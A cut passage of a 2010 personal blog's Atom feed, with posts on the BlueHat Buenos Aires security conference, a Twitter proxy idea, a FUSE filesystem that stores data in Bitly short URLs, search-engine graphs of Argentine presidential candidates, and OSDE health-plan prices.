height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7433939118964866093</id><published>2010-03-18T13:19:00.000-07:00</published><updated>2010-03-19T07:29:31.802-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bluehat'/><category scheme='http://www.blogger.com/atom/ns#' term='research'/><category scheme='http://www.blogger.com/atom/ns#' term='buenosaires'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>BlueHat Security Briefings: Buenos Aires 2010</title><content type='html'>&lt;div style="text-align: justify;"&gt;I will brieftly comment my technical highlights of the &lt;a href="http://blogs.technet.com/BlueHat/"&gt;BlueHat Security Briefings&lt;/a&gt; hosted at &lt;a href="http://blogs.technet.com/ecostrat/archive/2010/02/11/bluehat-security-forum-buenos-aires-edition.aspx"&gt;Buenos Aires&lt;/a&gt; today. This conference is organised by Microsoft and for the second time is hosted outside United States. The reason why is located here is that &lt;a href="http://corelabs.coresecurity.com/"&gt;Core Security Technologies&lt;/a&gt; and the &lt;a href="http://www.ekoparty.com.ar/"&gt;Ekoparty Security Conference&lt;/a&gt; assistants are collaborating a lot to the international computer security community.&lt;br /&gt;&lt;br /&gt;Some personal highlights:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Anchies Moraes Guimaraes&lt;/span&gt; noticed that there is little interaction between the Brazilian and the Argentine security research communities. I agree with that, there is no Southamerican conference or community effort in that direction yet.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Mark Curphey&lt;/span&gt; made a very attractive presentation on how he entered Microsoft to evolve the processes related to security involved in software development, particularly Agile Methodologies and Secure Architectures. He mentions also some funny Software Patterns related to security described on an article called &lt;a href="http://www.laputan.org/mud/"&gt;Big Ball of Mud&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Chris Hoff&lt;/span&gt; replicated a previous talk from another conference, focusing on surveying Cloud Computing Models and Security. I take notes on an attack he mentioned involving &lt;a href="http://www.blackhat.com/presentations/bh-dc-08/Oberheide/Presentation/bh-dc-08-oberheide.pdf"&gt;VMotion subversion&lt;/a&gt;, that is, virtual machine migration attacks.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Nelson Murilo&lt;/span&gt; discussed a survey on mobile devices security. I take notes on a simple attack that took my attention, involving &lt;a href="http://www.securityfocus.com/archive/1/504403"&gt;smartphone's Safari browser and auto dialing&lt;/a&gt; to consume resources.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Peter Varangot&lt;/span&gt; made a very insightful presentation on OSINT and Social Networks Infiltration. We are working on a new version of &lt;a href="http://corelabs.coresecurity.com/index.php?module=Wiki&amp;amp;action=view&amp;amp;type=tool&amp;amp;name=Exomind"&gt;Exomind&lt;/a&gt;, a little framework in those directions.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Felix Linder&lt;/span&gt; also made a survey but in this case related to embedded devices inside companies. Most remarkable he pointed to research on the security of routers and printer machines.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;The Discussion Panel&lt;/span&gt; of various Southamerican experts was very interesting also, including old school and new security researchers and managers.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Happy Conference Networking!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Detailed Schedule:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Keynote: &lt;span style="font-style: italic;"&gt;The Evolution of TrustWorthy Computing – Towards a Safer, More Trusted Internet &lt;/span&gt;and&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Hackers &amp;amp; You: Panel discussion&lt;/span&gt;&lt;br /&gt;Keynote and Panel Moderator—Andrew Cushman (Senior Director, TwC Security, Microsoft) + Various Guests of the Security Community&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The Vulnerability Market: A Latin American Perspective&lt;/span&gt;  - Anchises Moraes Guimarães&lt;br /&gt;de Paula (Latin America Threat Intelligence Analyst, iDefense) &amp;amp; Kristen Dennesen (Intelligence Analyst and Deputy of the International Cyber Intelligence Team, iDefense)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;State of the Art Automation of Open Source Intelligence and Impersonation in Social &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Networks&lt;/span&gt; - Pedro Varangot (Security Researcher, Corelabs)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The Whole Nine Years (of Web App Security)&lt;/span&gt; - Mark Curphey (Product Unit Manager,&lt;br /&gt;Microsoft)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Cloudifornication: Indiscriminate Information Intercourse Involving Internet &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Infrastructure&lt;/span&gt; - Chris Hoff (Director of Cloud and Virtualization Solutions, Data Center Solutions at Cisco Systems)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Your Other Network&lt;/span&gt; - Felix 'FX' Lindner (Head of Recurity Labs)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[S]erious [M]obile [S]ecurity, is there such thing?&lt;/span&gt;  - Nelson Murilo (YSTS Co-founder)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Behind-the-Scenes of the Microsoft Security Response and Engineering Centers &lt;/span&gt;&lt;br /&gt;Mike Reavey (Director of Microsoft Security Response Center, Microsoft) &amp;amp; Damian Hasse (Principal Security Development Manager, Microsoft)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Lightning Talks&lt;/span&gt; - Various attendees&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;Update (2010-03-19):&lt;/span&gt; detailed schedule added!&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7433939118964866093?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7433939118964866093/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/03/bluehat-security-briefings-buenos-aires.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7433939118964866093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7433939118964866093'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/03/bluehat-security-briefings-buenos-aires.html' title='BlueHat Security Briefings: Buenos Aires 2010'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-1625920273406622942</id><published>2010-03-15T07:12:00.000-07:00</published><updated>2010-03-15T07:49:44.621-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='revolución'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='local'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>Proxy regional para Twitter [Idea]</title><content type='html'>&lt;div style="text-align: justify;"&gt;Estaba pensando que aprovechando este impulso que tomó en los últimos años la información abierta y el &lt;a href="http://es.wikipedia.org/wiki/Conocimiento_libre"&gt;conocimiento libre&lt;/a&gt; en Internet y para fomentar un poco la industria informática local  podríamos implementar un &lt;span style="font-style: italic;"&gt;proxy local de acceso a &lt;/span&gt;&lt;a style="font-style: italic;" href="http://es.wikipedia.org/wiki/Twitter"&gt;Twitter&lt;/a&gt;. Propongo esta tecnología por:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;su sencillez;&lt;/li&gt;&lt;li&gt;tiene una política de acceso automático bastante activa mediante &lt;a href="http://es.wikipedia.org/wiki/API"&gt;API&lt;/a&gt;s (&lt;a href="http://apiwiki.twitter.com/"&gt;Twitter API&lt;/a&gt;) porque es parte de su negocio (igual todavía &lt;a href="http://techcrunch.com/2009/07/14/in-our-inbox-hundreds-of-confidential-twitter-documents/"&gt;no saben bien&lt;/a&gt; como ganar plata);&lt;/li&gt;&lt;li&gt;y porque por defecto todas las cuentas de los usuarios son abiertas.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;También hay que agregar que no pude encontrar todavía una sección de &lt;a href="http://despuesdegoogle.com/2010/01/23/twitter-tendencias-locales-y-usuarios-recomendados/"&gt;tendencias locales&lt;/a&gt; (&lt;span style="font-style: italic;"&gt;trends&lt;/span&gt;) centrada en Argentina lo cual me puso muy triste. Esto significa que todavía no tenemos un pie tan firme en la Internet como país.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/S55GQOAucOI/AAAAAAAAAMk/60tzi61YT20/s1600-h/trending.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 147px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/S55GQOAucOI/AAAAAAAAAMk/60tzi61YT20/s400/trending.png" alt="" id="BLOGGER_PHOTO_ID_5448869843617870050" border="0" /&gt;&lt;/a&gt;Los beneficios podrían ser:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;extraer tendencias locales para Argentina y otro países de mediano o pequeño &lt;span style="font-style: italic;"&gt;Internet foot-print&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;tener bases de datos que sirvan para los investigadores y emprendimientos locales;&lt;/li&gt;&lt;li&gt;generar conciencia de que los servicios informáticos son elementos centrales de la economía actual y que su soberanía tiene que ser defendida en Argentina y cualquier otro país independiente o que se precie de ello;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;y también fomentar a los programadores locales o regionales a replicar y mejorar las tecnologías y servicios existentes.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;¿¡Quién se suma al proyecto!?&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-1625920273406622942?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/1625920273406622942/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/03/proxy-regional-para-twitter-idea.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1625920273406622942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1625920273406622942'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/03/proxy-regional-para-twitter-idea.html' title='Proxy regional para Twitter [Idea]'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tJD3vUnZtL0/S55GQOAucOI/AAAAAAAAAMk/60tzi61YT20/s72-c/trending.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-8671304077132923302</id><published>2010-02-12T11:04:00.000-08:00</published><updated>2010-02-12T14:27:15.539-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='parasitic'/><category scheme='http://www.blogger.com/atom/ns#' term='bitly'/><category scheme='http://www.blogger.com/atom/ns#' term='url'/><category scheme='http://www.blogger.com/atom/ns#' term='tinyurl'/><category scheme='http://www.blogger.com/atom/ns#' term='shortener'/><category scheme='http://www.blogger.com/atom/ns#' term='storage'/><title type='text'>BitlyFS: Another Filesystem Abusing a URL Shortener</title><content type='html'>&lt;div style="text-align: justify;"&gt;It has been a while since I notice the existence of &lt;a href="http://richard.jones.name/google-hacks/gmail-filesystem/gmail-filesystem.html"&gt;GmailFS&lt;/a&gt; and I also wanted to use &lt;a href="http://fuse.sourceforge.net/"&gt;FUSE&lt;/a&gt; (File System in Userspace) to implement some parasitic storage on Internet free services. Parasitic storage is explored in detail in &lt;a href="http://books.google.com/books?id=kOQ9m38q_t8C&amp;amp;pg=PR17&amp;amp;lpg=PR17&amp;amp;dq=parasitic+storage+zalewsky&amp;amp;source=bl&amp;amp;ots=jIs0C91odZ&amp;amp;sig=L1JtcJ8GOHZ85c70iVkv-akzmps&amp;amp;hl=en&amp;amp;ei=WKd1S9HkHMeOlAfLspWWDg&amp;amp;sa=X&amp;amp;oi=book_result&amp;amp;ct=result&amp;amp;resnum=5&amp;amp;ved=0CCcQ6AEwBA#v=onepage&amp;amp;q=&amp;amp;f=false"&gt;Zalewski's book&lt;/a&gt; and is a very new field in security research. Check this &lt;a href="http://isis.poly.edu/%7Eparastore/volleystore.pdf"&gt;paper&lt;/a&gt; for an academic research effort on this field. After reading Mario Vilas's post on &lt;a href="http://breakingcode.wordpress.com/2010/01/11/having-fun-with-url-shorteners/"&gt;URL shorteners fun&lt;/a&gt; I decided to experiment abusing URL shorteners. I also notice that the &lt;a href="http://bit.ly/"&gt;Bitly service&lt;/a&gt; provides custom URLs, a valuable feature when encoding data to be stored. Mario also implemented a &lt;a href="http://breakingcode.wordpress.com/2010/01/14/having-fun-with-url-shorteners-part-2-parasitic-storage"&gt;file uploaders abusing storage on TinyURL and ITO.mx&lt;/a&gt; and rfreebern also implemented a &lt;a href="http://code.google.com/p/furl/"&gt;multiple URL shortener parasitic uploader on PHP&lt;/a&gt;. Aparrently, TinyDisk was also released on 2005 to abuse TinyURL, but as everyone notices the implementation is not available now. So let's roll our own implementation!&lt;br /&gt;&lt;br /&gt;I decided to use Bitly's custom short url to avoid the use of local storage of short url for each data chunk. My Python prototype code using FUSE wrapper is based on &lt;a href="http://code.google.com/p/pyraid/"&gt;pyraid&lt;/a&gt; and &lt;span style="font-style: italic;"&gt;only supports one file, read-only.&lt;/span&gt;. Then the first time you mount the filesystem you specify that you are uploading the file, next time anyone with the correct key can mount the filesystem and read the file as long as they have access to the Internet. I use base64 encoding for the false URLs containing the data chunks and MD5 hashes for the custom URLs. Base64 encoding 768-byte chunks leads to 1024 bytes of base64 data in the false URLs. I also tried with 2KB with negative results.&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;http//example.com/IFdlIHNlZWsKYWZ0ZXIga25vd2xlZ... data to complete 1024 base64 bytes...&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Something remarkable of &lt;a href="http://breakingcode.wordpress.com/2010/01/14/having-fun-with-url-shorteners-part-2-parasitic-storage/#more-282"&gt;Mario's implementation on ITO.mx&lt;/a&gt; is that he uses a chain of short urls to encoded the file. In my case, I hash the filename, the sequential chunk number, the chunk size and the access key to generate the custom short urls. This is desirable because as I wanted to implement a transparent filesystem you may want to seek any file offset an read data from there. TinyURL chunks can be much bigger as our implementation using Bitly is very slow.&lt;br /&gt;&lt;br /&gt;Installation (tested on Ubuntu Linux):&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$ sudo apt-get install python-fuse&lt;/code&gt;&lt;br /&gt;&lt;code&gt;...&lt;br /&gt;$ wget http://www.mechpoet.net/mechpoet_files/bitlyfs.zip&lt;br /&gt;# unzip bitlyfs.zip&lt;br /&gt;&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;...&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;Example usage storing &lt;span style="font-style: italic;"&gt;conscience.txt&lt;/span&gt;:&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$ cd bitlyfs&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$ mkdir mountpoint&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$ ./bitlyfs-mount.py --initialize --mount-point mountpoint --key secret conscience.txt&lt;/code&gt;&lt;br /&gt;&lt;code&gt;full url:&lt;/code&gt;&lt;br /&gt;&lt;code&gt;http://bit.ly/?url=http%3A%2F%2Fexample.com%2FMzg4MQ%3D%3D&amp;amp;keyword=6183ae8f1346fe63dde36a5e844ac967&lt;/code&gt;&lt;br /&gt;&lt;code&gt;block count: 0 of 5&lt;/code&gt;&lt;br /&gt;&lt;code&gt;block_id dcc83fb03f3bc05b712e3b5ad95370aa&lt;/code&gt;&lt;br /&gt;&lt;code&gt;full url:&lt;/code&gt;&lt;br /&gt;&lt;code&gt;http://bit.ly/?url=http%3A%2F%2Fexample.com%2FRmlsZTogYXJjaG ...&lt;/code&gt;&lt;br /&gt;&lt;code&gt;...&lt;/code&gt;&lt;br /&gt;&lt;code&gt;(in another shell test differences)&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$ ls -l mountpoint/conscience.txt&lt;/code&gt;&lt;br /&gt;&lt;code&gt;-r--r--r-- 1 root root 3881 1969-12-31 21:00 mountpoint/conscience.txt&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$ diff conscience.txt mountpoint/conscience.txt&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$ cat mountpoint/conscience.txt&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;After the file is uploaded then you can mount anywhere the filesystem to access it. For example you can access a photo I stored using the default key without any initialization.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ./bitlyfs-mount.py -m mountpoint pibito.jpg &amp;amp;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;$ gimp mountpoint/pibito.jpg&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;Future steps should include using custom URLs to reference URL shorteners with larger supported URL size, to achieve realtime reproduction of MP3! Bitly Underground Radio!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Source code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.assembla.com/bitlyfs/subversion/nodes"&gt;http://code.assembla.com/bitlyfs/subversion/nodes&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-8671304077132923302?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/8671304077132923302/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/02/bitlyfs-another-filesystem-abusing-url.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8671304077132923302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8671304077132923302'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/02/bitlyfs-another-filesystem-abusing-url.html' title='BitlyFS: Another Filesystem Abusing a URL Shortener'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-2044894420596435744</id><published>2010-01-08T07:54:00.000-08:00</published><updated>2010-01-08T09:08:47.540-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='buscador'/><category scheme='http://www.blogger.com/atom/ns#' term='politica'/><category scheme='http://www.blogger.com/atom/ns#' term='presidenciales'/><category scheme='http://www.blogger.com/atom/ns#' term='ngd'/><category scheme='http://www.blogger.com/atom/ns#' term='2007'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><category scheme='http://www.blogger.com/atom/ns#' term='candidatos'/><title type='text'>Análisis de políticos usando buscadores web y grafos</title><content type='html'>&lt;div style="text-align: justify;"&gt;Esto es algo viejo que hice hace un par de años pero lo publico porque es interesante y me acordé cuando estaba mirando el proyecto &lt;a href="http://www.maquila.com.ar/chatheater/"&gt;Ensamblea Matanzas - Riachuelo&lt;/a&gt;. Estaba probando la generación de grafos sociales usando buscadores web y distancia de datos en minería web, en particular la Distancia Normalizada de Google (&lt;a href="http://en.wikipedia.org/wiki/Semantic_relatedness#Google_distance"&gt;&lt;span style="font-style: italic;"&gt;Normalized Google Distance&lt;/span&gt;&lt;/a&gt;). Entonces para armar algun ejemplo interesante como estaban las elecciones presidenciales del 2007 proyecté los grafos de los candidatos presidenciales en algunos temas de discusión candentes en ese momento o clásicos de cualquier canditatura presidencial argentina.&lt;br /&gt;&lt;br /&gt;Aca les muestro los ejemplos más interesantes que fueron el tema &lt;span style="font-style: italic;"&gt;derechos humanos&lt;/span&gt; y el tema &lt;span style="font-style: italic;"&gt;INDEC&lt;/span&gt;. Otros temas son confusos porque aprecen demasiados enlaces, casi todos con todos. Si aparece un enlace entre dos nodos/candidatos significa que ese momento aparecieron junto a ese tema de discusión en algunas páginas web. Por ejemplo: "CandidatoA y CandidatoB opinaron sobre derechos humanos". El tamaño de los nodos y de los enlaces depende de cuantas veces hayan aparecidos juntos y separados y de las medidas elegidas, en este caso la NGD.&lt;br /&gt;&lt;br /&gt;(hacer click para ver en tamaño grande)&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/S0dYdt3XWNI/AAAAAAAAAK4/_1uTQ19XgMI/s1600-h/presidente-derechos_humanos.graph.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 317px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/S0dYdt3XWNI/AAAAAAAAAK4/_1uTQ19XgMI/s400/presidente-derechos_humanos.graph.png" alt="" id="BLOGGER_PHOTO_ID_5424401543742314706" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/S0dYtrc_MaI/AAAAAAAAALA/VkUS4wGmeAM/s1600-h/presidente-indec.graph.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 398px; height: 400px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/S0dYtrc_MaI/AAAAAAAAALA/VkUS4wGmeAM/s400/presidente-indec.graph.png" alt="" id="BLOGGER_PHOTO_ID_5424401817972715938" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-2044894420596435744?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/2044894420596435744/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/01/analisis-de-politicos-usando-buscadores.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2044894420596435744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2044894420596435744'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/01/analisis-de-politicos-usando-buscadores.html' title='Análisis de políticos usando buscadores web y grafos'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tJD3vUnZtL0/S0dYdt3XWNI/AAAAAAAAAK4/_1uTQ19XgMI/s72-c/presidente-derechos_humanos.graph.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-3570574959101810274</id><published>2010-01-05T04:16:00.001-08:00</published><updated>2010-01-05T04:34:49.851-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='obra social'/><category scheme='http://www.blogger.com/atom/ns#' term='publica'/><category scheme='http://www.blogger.com/atom/ns#' term='osde'/><category scheme='http://www.blogger.com/atom/ns#' term='medicina'/><category scheme='http://www.blogger.com/atom/ns#' term='privado'/><category scheme='http://www.blogger.com/atom/ns#' term='salud'/><title type='text'>Precios OSDE Binario: Abril 2009</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://extranetprofesionales.osde.com.ar/OSDEExtranet/jsp/osde_template/imgs/osde_binario_ban.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 140px; height: 52px;" src="https://extranetprofesionales.osde.com.ar/OSDEExtranet/jsp/osde_template/imgs/osde_binario_ban.gif" alt="" border="0" /&gt;&lt;/a&gt;Son los precios mensuales en pesos del año pasado, pero los pongo por si a alguién le sirven, ahora parece que aumentaron o por lo menos a mi me &lt;span style="font-style: italic;"&gt;aumentaron un 12% en Enero del 2010&lt;/span&gt;. Habrá que fomentar la salud pública, esto ya es cualquier cosa. El 2 de la izquierda no sé que es, tal vez significa que si estas interesado en el plan 210 te muestran esta planilla, desconozco.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-family:courier new;"&gt;DIRECTOS - Abril 2009     OSDE.binario&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;-         Individual   |||    Grupo Familiar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;-       Neo Joven &gt;35   |   Neo Joven &gt;35  1°H  2°H&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2 210  230  350  571    |  460  700  953  182  111&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2 310  306  455  740    |  612  910 1228  237  161&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2 410  409  604  945    |  818 1208 1596  305  196&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2 450  621  918 1386    | 1242 1836 2183  359  213&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2 510 1021 1529 2211    | 2042 3058 3636  --- ----&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;Pareciera que por el segundo hijo te hacen precio, una ganga.&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/S0Mx0ypxnhI/AAAAAAAAAKw/twWp9jBjnTQ/s1600-h/Imagen041.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/S0Mx0ypxnhI/AAAAAAAAAKw/twWp9jBjnTQ/s400/Imagen041.jpg" alt="" id="BLOGGER_PHOTO_ID_5423233159304158738" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-3570574959101810274?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/3570574959101810274/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/01/precios-osde-binario-abril-2009.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3570574959101810274'/><link rel='self' type='application/atom+xml' 